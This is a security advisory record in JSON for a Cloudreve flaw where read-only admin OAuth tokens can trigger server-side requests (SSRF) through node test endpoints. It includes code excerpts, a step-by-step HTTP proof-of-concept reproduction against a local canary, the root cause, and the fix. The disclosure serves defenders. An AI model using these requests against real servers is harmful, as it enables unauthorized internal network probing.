{"id":"GHSA-v6w6-358x-2433","aliases":["GO-2026-6106"],"url":"https://o3.security/vulnerability/GHSA-v6w6-358x-2433","summary":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests","details":"## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer <admin-read-oauth-token>\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer <admin-read-oauth-token>\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr <hmac-signature>:<timestamp>\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.","published":"2026-07-24T21:50:23Z","modified":"2026-08-18T15:11:06.382229730Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v4","fixedVersion":"4.0.0-20260626022735-332a9d800205"},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v3","fixedVersion":null}],"fix":{"url":"https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc","label":"cloudreve/cloudreve@332a9d8"},"references":[{"type":"WEB","url":"https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433"},{"type":"WEB","url":"https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc"},{"type":"PACKAGE","url":"https://github.com/cloudreve/cloudreve"},{"type":"WEB","url":"https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T15:11:06.382229730Z"}}